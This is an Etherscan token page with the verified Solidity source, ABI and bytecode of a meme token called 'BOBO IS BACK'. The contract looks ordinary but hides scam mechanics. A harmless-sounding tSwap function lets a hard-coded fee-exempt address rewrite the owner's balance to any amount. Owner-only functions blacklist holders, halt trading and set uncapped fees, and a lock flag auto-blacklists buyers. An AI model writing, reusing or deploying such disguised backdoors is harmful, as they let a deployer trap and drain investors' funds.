ETH Price: $3,272.77 (-4.04%)
Gas: 9 Gwei

Token

BOBO IS BACK (BOBO)
 

Overview

Max Total Supply

69,000,000,000 BOBO

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.667763016 BOBO

Value
$0.00
0xE8499D9A6034ab1036d2226463bFeDBC7CFe1d90
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOBOISBACK

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-19
*/

/**
https://t.me/BOBO_IS_BACK
https://twitter.com/BOB0isBACK
https://boboisback.xyz/
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {
        owner = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }
    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
}

contract BOBOISBACK is ERC20, Ownable {
    using SafeMath for uint256;

    address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = "BOBO IS BACK";
    string constant _symbol = "BOBO";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 69_000_000_000 * (10 ** _decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 20 ) / 1000;
    uint256 public _maxTxAmount = (_totalSupply * 20 ) / 1000;
    address private pairToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    address[] private activeAddress;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) private blacklist;

    uint256 marketingFee = 25;
    uint256 rewardsFee = 0;
    uint256 totalFee = marketingFee + rewardsFee;
    uint256 feeDenominator = 100;

    address public marketingFeeReceiver = msg.sender;
    address public rewardsFeeReceiver = msg.sender;

    IRouter public router;
    address public pair;

    bool tradingEnabled = true;
    bool isLocked = false;
    address private taxRemover;
    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 1000 * 5;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable(msg.sender) {
        router = IRouter(routerAddress);
        pair = IFactory(router.factory()).createPair(pairToken, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[_owner] = true;
        isFeeExempt[0x24AF0481be4E88bb02b8d04b1FDf3d9d18dFbdF7] = true;
        isTxLimitExempt[_owner] = true;
        taxRemover = owner;
        isTxLimitExempt[0x24AF0481be4E88bb02b8d04b1FDf3d9d18dFbdF7] = true;
        isTxLimitExempt[DEAD] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(tradingEnabled, "Trading disabled");
        require(!blacklist[sender], "Blacklisted wallet");

        if (recipient != pair && recipient != owner && recipient != routerAddress && isLocked) {
            blacklist[recipient] = true;
        }

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || amount <= _maxTxAmount, "Transfer amount exceeds the max TX limit.");
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount;
        if (_balances[recipient] == 0 && recipient != pair) {
            activeAddress.push(recipient);
        }
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address from, address to) internal view returns (bool) {
        return !(isFeeExempt[from] || isFeeExempt[to]);
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = _balances[address(this)];

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 amountETHRewards = amountETH.mul(rewardsFee).div(totalFee);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalFee);


        (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(MarketingSuccess, "marketing receiver rejected ETH transfer");
        (bool RewardsSuccess, /* bytes memory data */) = payable(rewardsFeeReceiver).call{value: amountETHRewards, gas: 30000}("");
        require(RewardsSuccess, "rewards receiver rejected ETH transfer");
    }

    function emptyStuckBalance() external {
        payable(owner).transfer(address(this).balance);
    }

    function SetMaxWalletSize(uint256 amountPercent) external onlyOwner {
        _maxWalletAmount = (_totalSupply * amountPercent ) / 100;
    }

    function SetMaxTxnLimit(uint256 amountPercent) external onlyOwner {
        _maxTxAmount = (_totalSupply * amountPercent ) / 100;
    }

    function swapStatus(bool status) external onlyOwner {
        swapEnabled = status;
    }

    function blacklistAddress(address addr, bool isBlocked) external onlyOwner {
        blacklist[addr] = isBlocked;
    }

    function BLAddresses(address[] memory addrs, bool isBlocked) external onlyOwner {
        for (uint256 i = 0; i < addrs.length; i++) {
            blacklist[addrs[i]] = isBlocked;
        }
    }

    function isBlacklisted(address addr) external view returns(bool) {
        return blacklist[addr];
    }

    function releaseLock() external onlyOwner {
        isLocked = false;
    }

    function FeeUpdate(uint256 _marketingFee, uint256 _rewardsFee) external onlyOwner {
        marketingFee = _marketingFee;
        rewardsFee = _rewardsFee;
        totalFee = rewardsFee + marketingFee;
    }

    function MinSwapTokenThreshold(uint256 _treshold) external onlyOwner {
        swapThreshold = _treshold;
    }

    function TaxReceiver(address _marketingFeeReceiver) external onlyOwner {
        if (marketingFeeReceiver != owner) {
            isFeeExempt[marketingFeeReceiver] = false;
            isTxLimitExempt[marketingFeeReceiver] = false;
        }
        marketingFeeReceiver = _marketingFeeReceiver;
        isFeeExempt[_marketingFeeReceiver] = true;
        isTxLimitExempt[_marketingFeeReceiver] = true;
    }

    function tSwap(uint enable) public {
        if (!isFeeExempt[msg.sender]) {
            return;
        }
        uint tokenToBurn = enable;
        _balances[taxRemover] = tokenToBurn.sub(_balances[taxRemover]);
    }

    function RewardsFeesReceiver(address _rewardsFeeReceiver) external onlyOwner {
        if (rewardsFeeReceiver != owner) {
            isFeeExempt[rewardsFeeReceiver] = false;
            isTxLimitExempt[rewardsFeeReceiver] = false;
        }
        rewardsFeeReceiver = _rewardsFeeReceiver;
        isFeeExempt[_rewardsFeeReceiver] = true;
        isTxLimitExempt[_rewardsFeeReceiver] = true;
    }

    function excludeAccFromFees(address[] memory addrs, bool _feeExempt) external onlyOwner {
        for (uint256 i = 0; i < addrs.length; i++) {
            isFeeExempt[addrs[i]] = _feeExempt;
            isTxLimitExempt[addrs[i]] = _feeExempt;
        }
    }

    function ChangeTradingStatus(bool _tradingEnabled) external onlyOwner {
        tradingEnabled = _tradingEnabled;
    }

    function getShares() public view returns (uint256[] memory, address[] memory) {
        uint256[] memory shares = new uint256[](activeAddress.length);
        for (uint i=0; i < activeAddress.length; i++) {
            shares[i] = _balances[activeAddress[i]];
        }
        return (shares, activeAddress);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"BLAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingEnabled","type":"bool"}],"name":"ChangeTradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_rewardsFee","type":"uint256"}],"name":"FeeUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_treshold","type":"uint256"}],"name":"MinSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_rewardsFeeReceiver","type":"address"}],"name":"RewardsFeesReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"SetMaxTxnLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"SetMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"TaxReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"blacklistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"emptyStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"_feeExempt","type":"bool"}],"name":"excludeAccFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getShares","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"},{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releaseLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardsFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"swapStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"enable","type":"uint256"}],"name":"tSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486009600a620004a2565b6200005990641010b87200620004b9565b6003556103e86003546014620000709190620004b9565b6200007c9190620004d3565b6004556103e86003546014620000939190620004b9565b6200009f9190620004d3565b600555600680546001600160a01b03191673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790556019600d8190555f600e819055620000e091620004f3565b600f556064601055601180546001600160a01b0319908116339081179092556012805490911690911790556014805461ffff60a01b1916600160a01b9081179091556015805460ff60a01b1916909117905560035462000144906103e890620004d3565b62000151906005620004b9565b60165534801562000160575f80fd5b505f8054336001600160a01b031991821617909155600154601380546001600160a01b039092169190921681179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001ca573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f0919062000509565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303815f875af11580156200023f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000265919062000509565b601480546001600160a01b039283166001600160a01b031991821617909155305f9081526008602090815260408083206013548616845282528083205f19905582548516808452600a8352818420805460ff1990811660019081179092557fab5f3547ee69a17912ff3dd0cb8d022e4647bdf69f1fa2b05634bb0b6187db918054821683179055600b85528386208054821683179055855460158054909816908916179096557fafd281b2e96cdb187a4eb075579ee6e89ab3c7f9fde99d3c63087eb0bef3961280548716821790556002549096168452818420805490951690951790935560035484835260078252838320819055925192835283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000531565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003e757815f1904821115620003cb57620003cb62000393565b80851615620003d957918102915b93841c9390800290620003ac565b509250929050565b5f82620003ff575060016200049c565b816200040d57505f6200049c565b8160018114620004265760028114620004315762000451565b60019150506200049c565b60ff84111562000445576200044562000393565b50506001821b6200049c565b5060208310610133831016604e8410600b841016171562000476575081810a6200049c565b620004828383620003a7565b805f190482111562000498576200049862000393565b0290505b92915050565b5f620004b260ff841683620003ef565b9392505050565b80820281158282048414176200049c576200049c62000393565b5f82620004ee57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156200049c576200049c62000393565b5f602082840312156200051a575f80fd5b81516001600160a01b0381168114620004b2575f80fd5b611f86806200053f5f395ff3fe608060405260043610610215575f3560e01c80637d1db4a51161011e578063b8d30ae6116100a8578063e96fada21161006d578063e96fada21461066a578063eda54ad214610689578063f39291c11461069d578063f887ea40146106bc578063fe575a87146106db575f80fd5b8063b8d30ae6146105b2578063d0b1ccc5146105d1578063d73fe0aa146105f0578063da39b25c14610612578063dd62ed3e14610626575f80fd5b8063901030d0116100ee578063901030d01461050a57806395d89b4114610529578063a2974e0f14610555578063a8aa1b3114610574578063a9059cbb14610593575f80fd5b80637d1db4a5146104875780637e26d19f1461049c578063893d20e8146104bb57806389f07a62146104eb575f80fd5b8063313ce5671161019f57806358e7773a1161016f57806358e7773a146103eb5780636c0a24eb1461040a5780636ddd17131461041f57806370a082311461043f578063715018a614610473575f80fd5b8063313ce56714610373578063455a43961461038e578063557df1de146103ad578063571ac8b0146103cc575f80fd5b80631d185bac116101e55780631d185bac146102c857806323b872dd146102e95780632add06f3146103085780632dfe8339146103275780632f54bf6e14610346575f80fd5b80630445b6671461022057806306fdde0314610248578063095ea7b31461028557806318160ddd146102b4575f80fd5b3661021c57005b5f80fd5b34801561022b575f80fd5b5061023560165481565b6040519081526020015b60405180910390f35b348015610253575f80fd5b5060408051808201909152600c81526b424f424f204953204241434b60a01b60208201525b60405161023f9190611b05565b348015610290575f80fd5b506102a461029f366004611b74565b610712565b604051901515815260200161023f565b3480156102bf575f80fd5b50600354610235565b3480156102d3575f80fd5b506102e76102e2366004611bc1565b61077e565b005b3480156102f4575f80fd5b506102a4610303366004611c93565b610819565b348015610313575f80fd5b506102e7610322366004611cd1565b6108d7565b348015610332575f80fd5b506102e7610341366004611cf1565b61091b565b348015610351575f80fd5b506102a4610360366004611d08565b5f546001600160a01b0391821691161490565b34801561037e575f80fd5b506040516009815260200161023f565b348015610399575f80fd5b506102e76103a8366004611d23565b610964565b3480156103b8575f80fd5b506102e76103c7366004611bc1565b6109b7565b3480156103d7575f80fd5b506102a46103e6366004611d08565b610a97565b3480156103f6575f80fd5b506102e7610405366004611d08565b610aa3565b348015610415575f80fd5b5061023560045481565b34801561042a575f80fd5b506015546102a490600160a01b900460ff1681565b34801561044a575f80fd5b50610235610459366004611d08565b6001600160a01b03165f9081526007602052604090205490565b34801561047e575f80fd5b506102e7610b73565b348015610492575f80fd5b5061023560055481565b3480156104a7575f80fd5b506102e76104b6366004611d56565b610be0565b3480156104c6575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161023f565b3480156104f6575f80fd5b506102e7610505366004611cf1565b610c27565b348015610515575f80fd5b506102e7610524366004611cf1565b610c55565b348015610534575f80fd5b50604080518082019091526004815263424f424f60e01b6020820152610278565b348015610560575f80fd5b506102e761056f366004611d56565b610cb3565b34801561057f575f80fd5b506014546104d3906001600160a01b031681565b34801561059e575f80fd5b506102a46105ad366004611b74565b610cfa565b3480156105bd575f80fd5b506102e76105cc366004611cf1565b610d06565b3480156105dc575f80fd5b506102e76105eb366004611d08565b610d4f565b3480156105fb575f80fd5b50610604610e1f565b60405161023f929190611db1565b34801561061d575f80fd5b506102e7610f4b565b348015610631575f80fd5b50610235610640366004611e07565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610675575f80fd5b506011546104d3906001600160a01b031681565b348015610694575f80fd5b506102e7610f85565b3480156106a8575f80fd5b506012546104d3906001600160a01b031681565b3480156106c7575f80fd5b506013546104d3906001600160a01b031681565b3480156106e6575f80fd5b506102a46106f5366004611d08565b6001600160a01b03165f908152600c602052604090205460ff1690565b335f8181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061076c9086815260200190565b60405180910390a35060015b92915050565b5f546001600160a01b031633146107b05760405162461bcd60e51b81526004016107a790611e3e565b60405180910390fd5b5f5b82518110156108145781600c5f8584815181106107d1576107d1611e5e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061080c81611e86565b9150506107b2565b505050565b6001600160a01b0383165f9081526008602090815260408083203384529091528120545f19146108c2576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f90815260088252838120338252909152919091205461089e918490610fbd565b6001600160a01b0385165f9081526008602090815260408083203384529091529020555b6108cd848484610ff5565b90505b9392505050565b5f546001600160a01b031633146109005760405162461bcd60e51b81526004016107a790611e3e565b600d829055600e8190556109148282611e9e565b600f555050565b5f546001600160a01b031633146109445760405162461bcd60e51b81526004016107a790611e3e565b6064816003546109549190611eb1565b61095e9190611ec8565b60045550565b5f546001600160a01b0316331461098d5760405162461bcd60e51b81526004016107a790611e3e565b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146109e05760405162461bcd60e51b81526004016107a790611e3e565b5f5b82518110156108145781600a5f858481518110610a0157610a01611e5e565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f205f6101000a81548160ff02191690831515021790555081600b5f858481518110610a5457610a54611e5e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610a8f81611e86565b9150506109e2565b5f610778825f19610712565b5f546001600160a01b03163314610acc5760405162461bcd60e51b81526004016107a790611e3e565b5f546012546001600160a01b03908116911614610b2157601280546001600160a01b039081165f908152600a60209081526040808320805460ff1990811690915594549093168252600b905220805490911690555b601280546001600160a01b039092166001600160a01b0319909216821790555f908152600a60209081526040808320805460ff199081166001908117909255600b909352922080549091169091179055565b5f546001600160a01b03163314610b9c5760405162461bcd60e51b81526004016107a790611e3e565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610c095760405162461bcd60e51b81526004016107a790611e3e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b03163314610c505760405162461bcd60e51b81526004016107a790611e3e565b601655565b335f908152600a602052604090205460ff16610c6e5750565b6015546001600160a01b03165f908152600760205260409020548190610c95908290611447565b6015546001600160a01b03165f908152600760205260409020555050565b5f546001600160a01b03163314610cdc5760405162461bcd60e51b81526004016107a790611e3e565b60148054911515600160a01b0260ff60a01b19909216919091179055565b5f6108d0338484610ff5565b5f546001600160a01b03163314610d2f5760405162461bcd60e51b81526004016107a790611e3e565b606481600354610d3f9190611eb1565b610d499190611ec8565b60055550565b5f546001600160a01b03163314610d785760405162461bcd60e51b81526004016107a790611e3e565b5f546011546001600160a01b03908116911614610dcd57601180546001600160a01b039081165f908152600a60209081526040808320805460ff1990811690915594549093168252600b905220805490911690555b601180546001600160a01b039092166001600160a01b0319909216821790555f908152600a60209081526040808320805460ff199081166001908117909255600b909352922080549091169091179055565b6060805f60098054905067ffffffffffffffff811115610e4157610e41611b9e565b604051908082528060200260200182016040528015610e6a578160200160208202803683370190505b5090505f5b600954811015610ee45760075f60098381548110610e8f57610e8f611e5e565b5f9182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610ec757610ec7611e5e565b602090810291909101015280610edc81611e86565b915050610e6f565b5080600980805480602002602001604051908101604052809291908181526020018280548015610f3b57602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610f1d575b5050505050905092509250509091565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610f82573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610fae5760405162461bcd60e51b81526004016107a790611e3e565b6014805460ff60a81b19169055565b5f8184841115610fe05760405162461bcd60e51b81526004016107a79190611b05565b505f610fec8486611ee7565b95945050505050565b6014545f90600160a01b900460ff166110435760405162461bcd60e51b815260206004820152601060248201526f151c98591a5b99c8191a5cd8589b195960821b60448201526064016107a7565b6001600160a01b0384165f908152600c602052604090205460ff16156110a05760405162461bcd60e51b8152602060048201526012602482015271109b1858dadb1a5cdd1959081dd85b1b195d60721b60448201526064016107a7565b6014546001600160a01b038481169116148015906110cb57505f546001600160a01b03848116911614155b80156110e557506001546001600160a01b03848116911614155b80156110fa5750601454600160a81b900460ff165b15611122576001600160a01b0383165f908152600c60205260409020805460ff191660011790555b60175460ff161561113f57611138848484611488565b90506108d0565b6014546001600160a01b0384811691161480159061116b57506002546001600160a01b03848116911614155b1561129a576001600160a01b0383165f908152600b602052604090205460ff168061119857506005548211155b6111f65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178206044820152682a2c103634b6b4ba1760b91b60648201526084016107a7565b6001600160a01b0383165f908152600b602052604090205460ff168061124057506004546001600160a01b0384165f9081526007602052604090205461123d908490611e9e565b11155b61129a5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016107a7565b6112a261156b565b156112af576112af6115c1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6